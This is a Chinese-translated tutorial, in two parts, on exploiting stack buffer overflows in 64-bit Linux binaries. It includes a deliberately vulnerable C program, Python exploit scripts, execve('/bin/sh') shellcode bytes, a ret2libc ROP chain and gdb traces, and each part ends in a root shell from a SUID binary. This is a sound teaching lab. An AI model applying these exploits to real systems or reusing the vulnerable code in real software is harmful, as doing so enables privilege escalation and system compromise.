64位Linux栈溢出教程

2015-05-28 25,066

 

0x01

这一系列的文章目的在于快速介绍对缓冲区溢出(在64位下linux二进制程序)弱点的利用。

该系列教程适合人群为:熟悉利用32位二进制程序并想应用它们的知识来利用64位二进制程序。

该教程是长期的零散笔记,整理总结成的结果。

搭建环境

在64位与32位linux平台下编写其二进制的利用程序区别不大,然而我们将遇到一些陷阱,学习这种技术最好的方法是实践它,因此我鼓励你跟着教程一起实践。

我将在Unbuntu14.10下编译有弱点的二进制且编写利用程序,我也将提供预编译的二进制程序。这篇教程将使用如下工具:

64位,你需了解些什么

为了学习这篇教程,你应该知道如下几点:

  • 被扩展到64位的通用寄存器为:RAX,RBX,RCX,RDX,RSI和RDI
  • 被扩展为64位的指令指针,基地址指针,栈指针分别为RIP,RBP和RSP
  • 提供的额外寄存器:R8到R15
  • 8字节宽的指针
  • 在栈上push/pop为8字节宽
  • 地址最大的标准大小为0x00007FFFFFFFFFFF
  • 通过寄存器传递函数的参数

知道更多信息当然很棒,所以尽情google搜寻关于64位架构和汇编编程的信息吧,Wikipedia有一篇简短的文章值得一读.

iStock-hacker

典型的崩栈例子

让我们开始于一个典型的崩栈例子,我们将关闭ASLR,NX,和stack canaries保护机制,因此我们可以专注真实的利用。

有弱点的二进制程序源码如下:

/* Compile: gcc -fno-stack-protector -z execstack classic.c -o classic */
/* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */

#include <stdio.h>
#include <unistd.h>

int vuln() {
 char buf[80];
 int r;
 r = read(0, buf, 400);
 printf("\nRead %d bytes. buf is %s\n", r, buf);
 puts("No shell for you :(");
 return 0;
}

int main(int argc, char *argv[]) {
 printf("Try to exec /bin/sh");
 vuln();
 return 0;
}

你也可以在这里获取预编译好的二进制程序

当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。

因此从技术角度看,如果我们将400个字节传递到其中,我们应该可以溢出缓冲区并用我们的payload覆盖RIP,对吗?构造一段exploit内容如下:

#!/usr/bin/env python
buf = ""
buf += "A"*400

f = open("in.txt", "w")
f.write(buf)

这个脚本将创建一个命名为”in.txt”的文件(含有400个“A”字符),我们将典例加载进gdb并将in.txt的内容重定向到典例中,同时我们看看是否可以覆盖RIP:

gdb-peda$ r < in.txt

Try to exec /bin/sh

Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

No shell for you :(

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

RAX: 0x0

RBX: 0x0

RCX: 0x7ffff7b015a0 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)

RDX: 0x7ffff7dd5a00 --> 0x0

RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' <repeats 92 times>"\220, \001\n")

RDI: 0x1

RBP: 0x4141414141414141 ('AAAAAAAA')

RSP: 0x7fffffffe508 ('A' <repeats 200 times>...)

RIP: 0x40060f (<vuln+73>:   ret)

R8 : 0x283a20756f792072 ('r you :(')

R9 : 0x4141414141414141 ('AAAAAAAA')

R10: 0x7fffffffe260 --> 0x0

R11: 0x246

R12: 0x4004d0 (<_start>:    xor    ebp,ebp)

R13: 0x7fffffffe600 ('A' <repeats 48 times>, "|\350\377\377\377\177")

R14: 0x0

R15: 0x0

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x400604 <vuln+62>:  call   0x400480 <puts@plt>

0x400609 <vuln+67>:  mov    eax,0x0

0x40060e <vuln+72>:  leave

=> 0x40060f <vuln+73>:  ret

0x400610 <main>: push   rbp

0x400611 <main+1>:   mov    rbp,rsp

0x400614 <main+4>:   sub    rsp,0x10

0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffe508 ('A' <repeats 200 times>...)

0008| 0x7fffffffe510 ('A' <repeats 200 times>...)

0016| 0x7fffffffe518 ('A' <repeats 200 times>...)

0024| 0x7fffffffe520 ('A' <repeats 200 times>...)

0032| 0x7fffffffe528 ('A' <repeats 200 times>...)

0040| 0x7fffffffe530 ('A' <repeats 200 times>...)

0048| 0x7fffffffe538 ('A' <repeats 200 times>...)

0056| 0x7fffffffe540 ('A' <repeats 200 times>...)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x000000000040060f in vuln ()

因此程序正如意料中的那样崩掉了,但是毫无意义。因为我们已覆盖的RIP带有一个无效地址,事实上我们没控制到RIP。因为我更早意识到最大地址是0x00007FFFFFFFFFFF。我们可以用一个非标准地址(0x0000414141414141)覆盖RIP(将造成处理器发生异常).为了控制RIP,我们需要用0x0000414141414141覆盖(代替)它,因此真正的目标是找到覆盖了RIP的偏移(带有一个非标准地址)。我们可以使用一种cyclic模板找到这个偏移:

gdb-peda$ pattern_create 400 in.txt

Writing pattern of 400 chars to filename "in.txt"

让我们再次运行它并检查RSP的内容:

gdb-peda$ r < in.txt

Try to exec /bin/sh

Read 400 bytes. buf is AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�

No shell for you :(

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

RAX: 0x0

RBX: 0x0

RCX: 0x7ffff7b015a0 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)

RDX: 0x7ffff7dd5a00 --> 0x0

RSI: 0x7ffff7ff5000 ("No shell for you :(\nis AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")

RDI: 0x1

RBP: 0x416841414c414136 ('6AALAAhA')

RSP: 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6"...)

RIP: 0x40060f (<vuln+73>:   ret)

R8 : 0x283a20756f792072 ('r you :(')

R9 : 0x4147414131414162 ('bAA1AAGA')

R10: 0x7fffffffe260 --> 0x0

R11: 0x246

R12: 0x4004d0 (<_start>:    xor    ebp,ebp)

R13: 0x7fffffffe600 ("A%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%Z|\350\377\377\377\177")

R14: 0x0

R15: 0x0

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x400604 <vuln+62>:  call   0x400480 <puts@plt>

0x400609 <vuln+67>:  mov    eax,0x0

0x40060e <vuln+72>:  leave

=> 0x40060f <vuln+73>:  ret

0x400610 <main>: push   rbp

0x400611 <main+1>:   mov    rbp,rsp

0x400614 <main+4>:   sub    rsp,0x10

0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffe508 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6"...)

0008| 0x7fffffffe510 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%"...)

0016| 0x7fffffffe518 ("jAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA"...)

0024| 0x7fffffffe520 ("AkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%j"...)

0032| 0x7fffffffe528 ("AAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%"...)

0040| 0x7fffffffe530 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA"...)

0048| 0x7fffffffe538 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%R"...)

0056| 0x7fffffffe540 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%"...)

[------------------------------------------------------------------------------]

我们可以清晰地在栈上看到我们的cyclic模板.让我们找到偏移:

gdb-peda$ x/wx $rsp

0x7fffffffe508: 0x41413741

gdb-peda$ pattern_offset 0x41413741

1094793025 found at offset: 104

因此,RIP在偏移104上.让我们更新我们的利用程序并看看我们这次是否可以覆盖RIP:

#!/usr/bin/env python

from struct import *

buf = ""

buf += "A"*104                      # offset to RIP

buf += pack("<Q", 0x424242424242)   # overwrite RIP with 0x0000424242424242

buf += "C"*290                      # padding to keep payload length at 400 bytes

f = open("in.txt", "w")

f.write(buf)

运行它以创建一个已更新的in.txt文件,然后将其重定向在gdb内的程序中:

gdb-peda$ r < in.txt

Try to exec /bin/sh

Read 400 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

No shell for you :(

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

RAX: 0x0

RBX: 0x0

RCX: 0x7ffff7b015a0 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)

RDX: 0x7ffff7dd5a00 --> 0x0

RSI: 0x7ffff7ff5000 ("No shell for you :(\nis ", 'A' <repeats 92 times>"\220, \001\n")

RDI: 0x1

RBP: 0x4141414141414141 ('AAAAAAAA')

RSP: 0x7fffffffe510 ('C' <repeats 200 times>...)

RIP: 0x424242424242 ('BBBBBB')

R8 : 0x283a20756f792072 ('r you :(')

R9 : 0x4141414141414141 ('AAAAAAAA')

R10: 0x7fffffffe260 --> 0x0

R11: 0x246

R12: 0x4004d0 (<_start>:    xor    ebp,ebp)

R13: 0x7fffffffe600 ('C' <repeats 48 times>, "|\350\377\377\377\177")

R14: 0x0

R15: 0x0

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

Invalid $PC address: 0x424242424242

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffe510 ('C' <repeats 200 times>...)

0008| 0x7fffffffe518 ('C' <repeats 200 times>...)

0016| 0x7fffffffe520 ('C' <repeats 200 times>...)

0024| 0x7fffffffe528 ('C' <repeats 200 times>...)

0032| 0x7fffffffe530 ('C' <repeats 200 times>...)

0040| 0x7fffffffe538 ('C' <repeats 200 times>...)

0048| 0x7fffffffe540 ('C' <repeats 200 times>...)

0056| 0x7fffffffe548 ('C' <repeats 200 times>...)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x0000424242424242 in ?? ()

很棒,我们已经彻底控制了RIP。

因为该程序没有NX或stack canaries保护机制,所以我们可以直接在栈上编写我们的shellcode然后返回到shellcode上。

让我们继续前进并完成它,我们将使用一段27字节的shellcode(执行execve(“/bin/sh”),在可以找到.

我们将通过一个环境变量把shellcode存储在栈中并用getenvaddr在栈上找到其地址.

koji@pwnbox:~/classic$ export PWN=`python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

koji@pwnbox:~/classic$ ~/getenvaddr PWN ./classic

PWN will be at 0x7fffffffeefa

我们将更新我们的利用以在0x7fffffffeefa上返回到我们的shellcode:

#!/usr/bin/env python

from struct import *

buf = ""

buf += "A"*104

buf += pack("<Q", 0x7fffffffeefa)

f = open("in.txt", "w")

f.write(buf)

确保改变我们的所有权并将典例的权限改成SUID(root),因此我们可以得到我们的root shell:

koji@pwnbox:~/classic$ sudo chown root classic

koji@pwnbox:~/classic$ sudo chmod 4755 classic

最后,我们将更新in.txt并将我们的payload输送进典例中:

koji@pwnbox:~/classic$ python ./sploit.py

koji@pwnbox:~/classic$ (cat in.txt ; cat) | ./classic

Try to exec /bin/sh

Read 112 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp

No shell for you :(

whoami

root

我们已得到一个root shell,因此我们已成功利用。主要的陷阱在于我们需要留意最大的地址大小,否则我们将不能控制RIP,这总结了教程的第一部分。本文由安全脉搏Deily原创翻译

第一部分相当简单,因此在第二部分我们将使用相同的二进制程序,这次将在只开启了NX机制的情况下编译它,这将防止我们在栈上执行指令,因此到时将看到我们使用ret2libc得到root shell.敬请期待!

 

 

0x02

在第一部分中我们已利用了64位二进制文件的典型栈溢出弱点且了解到我们不能盲目期待用带有字节的buffer覆盖RIP。

在第一部分我们关掉了ASLR,NX,和stack canary,所以我们可以专注利用而不是绕过这些安全特性。这次我们将开启NX并看到我们可使用ret2libc的方法利用相同的二进制.

搭建环境

搭建的环境和第一部分中使用的环境一致.这里也将使用到如下工具:

Ret2Libc

在第一部分我们已利用相同的二进制程序.唯一不同的是我们将开启NX(让我们上次的利用失效),因为现在栈不可执行.

/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */
/* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */

#include <stdio.h>
#include <unistd.h>

int vuln() {
 char buf[80];
 int r;
 r = read(0, buf, 400);
 printf("\nRead %d bytes. buf is %s\n", r, buf);
 puts("No shell for you :(");
 return 0;
}

int main(int argc, char *argv[]) {
 printf("Try to exec /bin/sh");
 vuln();
 return 0;
}

你也可以在获取预编译好的二进制

在32位二进制程序中,一次ret2lib攻击(创建一个伪造栈帧),让函数可调用libc内的函数,并传递任意它需要的参数.有代表性的是这将返回到system()并让其执行“/bin/sh”.

在64位二进制程序中,函数参数被传递到寄存器里,因此,不需要伪造栈帧.第一次传递的6个参数依次被传递到RDI,RSI ,RDX, RCX,R8和R9.超出的任意数据都会被传递到栈.这意味着在返回到我们的函数前(libc中选定的),我们需要确保用预期的函数参数正确配置寄存器值.如果你不熟悉ROP,不要担心,我们将不会深入讲解.

我们将开始于一段简明的利用(返回到system()并执行”/bin/sh”).需要一些东西:

  • System()的地址.已关闭ASLR机制因此我们不会担心该地址的改变.
  • 一个“/bin/sh”指针.
  • 因第一个函数参数需要位于RDI,所以我们需要一个ROP gadget(将“/bin/sh”复制到RDI).

让我们开始寻找system()的地址吧.这在GDB中很容易完成.

gdb-peda$ start
.
.
.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>

我们只要简单搜索一个“/bin/sh”指针.

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh')
 libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')

前两个指针是来自于字符串的,它位于二进制程序(打印出“Try to exec /bin/sh”).第三个指针来自libc本身,实际上,如果你确实能访问libc,请尽情使用它即可.在该情况下,我们开始执行于第一个指针(在0x4006ff上).

现在我们需要一个gadget(将0x4006ff复制到RDI).我们可以用ropper搜索gadget.让我们看看是否可以找到任意使用EDI或RDI的指令:

koji@pwnbox:~/ret2libc$ ropper --file ret2libc --search "% ?di"
Gadgets
=======


0x0000000000400520: mov edi, 0x601050; jmp rax;
0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax;
0x00000000004006a3: pop rdi; ret ;

3 gadgets found

第三个gadget完美从栈中弹出进入RDI.我们现在已有一切构造利用的材料:

#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*104 # junk
buf += pack("<Q", 0x00000000004006a3) # pop rdi; ret;
buf += pack("<Q", 0x4006ff) # pointer to "/bin/sh" gets popped into rdi
buf += pack("<Q", 0x7ffff7a5ac40) # address of system()

f = open("in.txt", "w")
f.write(buf)

该利用将我们的payload写进in.txt(在gdb内,我们可以重定向进二进制程序).让我们快速检查一下:

  • 行 7:用我们的ROP gadget的地址覆盖RIP,所以当vuln()返回时,它会执行pop rdi;ret.
  • 行 8:当执行pop RDI时,该值会被弹进RDI.一旦完成了这些,RSP将会指向0x7ffff7a5ac40(system()的地址).
  • 行 9 :在pop rdi后执行ret时,执行流会返回到system(),system()将采用RDI的参数(它预期的)并执行它.在该情况下,它执行“/bin/sh”.

让我们用gdb查看它的活动.我们将在vuln()的返回指令上设置断点:

gdb-peda$ br *vuln+73

Breakpoint 1 at 0x40060f

现在我们将payload重定向到二进制程序,我们的第一个断点将被击中:

gdb-peda$ r < in.txt

Try to exec /bin/sh

Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

No shell for you :(

[-------------------------------------code-------------------------------------]

0x400604 <vuln+62>:  call   0x400480 <puts@plt>

0x400609 <vuln+67>:  mov    eax,0x0

0x40060e <vuln+72>:  leave

=> 0x40060f <vuln+73>:  ret

0x400610 <main>: push   rbp

0x400611 <main+1>:   mov    rbp,rsp

0x400614 <main+4>:   sub    rsp,0x10

0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>:    pop    rdi)

0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')

0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)

0024| 0x7fffffffe520 --> 0x0

0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi,eax)

0040| 0x7fffffffe530 --> 0x0

0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")

0056| 0x7fffffffe540 --> 0x100000000

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040060f in vuln ()

我们可以意识到RSP指向0x4006a3(我们的ROP gadget).步入,同时我们将返回到我们的gadget(位于我们现在可以执行pop rdi的位置).

gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
=> 0x4006a3 <__libc_csu_init+99>: pop rdi
 0x4006a4 <__libc_csu_init+100>: ret
 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0]
 0x4006b0 <__libc_csu_fini>: repz ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0016| 0x7fffffffe520 --> 0x0
0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0032| 0x7fffffffe530 --> 0x0
0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0048| 0x7fffffffe540 --> 0x100000000
0056| 0x7fffffffe548 --> 0x400610 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a3 in __libc_csu_init ()

步入,RDI现在应该含有一个“/bin/sh”指针:

gdb-peda$ si
[----------------------------------registers-----------------------------------]
.
.
.
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
.
.
.
[-------------------------------------code-------------------------------------]
 0x40069e <__libc_csu_init+94>: pop r13
 0x4006a0 <__libc_csu_init+96>: pop r14
 0x4006a2 <__libc_csu_init+98>: pop r15
=> 0x4006a4 <__libc_csu_init+100>: ret
 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0]
 0x4006b0 <__libc_csu_fini>: repz ret
 0x4006b2: add BYTE PTR [rax],al
 0x4006b4 <_fini>: sub rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0008| 0x7fffffffe520 --> 0x0
0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0024| 0x7fffffffe530 --> 0x0
0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0040| 0x7fffffffe540 --> 0x100000000
0048| 0x7fffffffe548 --> 0x400610 (<main>: push rbp)
0056| 0x7fffffffe550 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a4 in __libc_csu_init ()

现在RIP指向ret且RSP指向system()的地址.再次步入,我们现在应该位于system().

gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
 0x7ffff7a5ac35 <cancel_handler+181>: pop rbx
 0x7ffff7a5ac36 <cancel_handler+182>: ret
 0x7ffff7a5ac37: nop WORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a5ac40 <system>: test rdi,rdi
 0x7ffff7a5ac43 <system+3>: je 0x7ffff7a5ac50 <system+16>
 0x7ffff7a5ac45 <system+5>: jmp 0x7ffff7a5a770 <do_system>
 0x7ffff7a5ac4a <system+10>: nop WORD PTR [rax+rax*1+0x0]
 0x7ffff7a5ac50 <system+16>: lea rdi,[rip+0x13744c] # 0x7ffff7b920a3

在这时,如果我们继续执行,我们应看到 “/bin/sh” 已执行

gdb-peda$ c
[New process 11114]
process 11114 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[New process 11115]
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
process 11115 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[Inferior 3 (process 11115) exited normally]
Warning: not running or target is remote

 

看来我们的利用可正常工作.让我们试试它是否可得到root shell.我们将改变ret2libc的持有者和权限让其是SUID root

koji@pwnbox:~/ret2libc$ sudo chown root ret2libc

koji@pwnbox:~/ret2libc$ sudo chmod 4755 ret2libc

现在让我们像第一部分所做的那样执行我们的利用:

koji@pwnbox:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc

Try to exec /bin/sh

Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAA�

No shell for you :(

whoami

root

再次得到我们的root shell,同时我们已绕过NX.现在这个利用相对简明(只需要一个参数).如果我们需要更多那会如何?接着在返回一个libc中的函数前,我们需要找到更多gadgets(相应地配置寄存器), 如果你想挑战自己,那么重写利用以让其调用execve()而不是system().execve()需要三个参数.

int execve(const char *filename, char *const argv[], char *const envp[]);

这意味着在调用execve()函数之前,你将需要有位于RDI,RSI和RCX中的专属值.试试仅在二进制本身使用gadgets.即不在libc中寻找gadgets.好运!

 

 

【英文:64-bit-linux-stack-smashing-tutorial-part-164-bit-linux-stack-smashing-tutorial-part-2 原创翻译:安全脉搏Deily

本文作者:SP胖编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/32328.html

Tags:
评论  (0)
快来写下你的想法吧!

SP胖编

文章数:59 积分: 0

神器 神器 神器

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号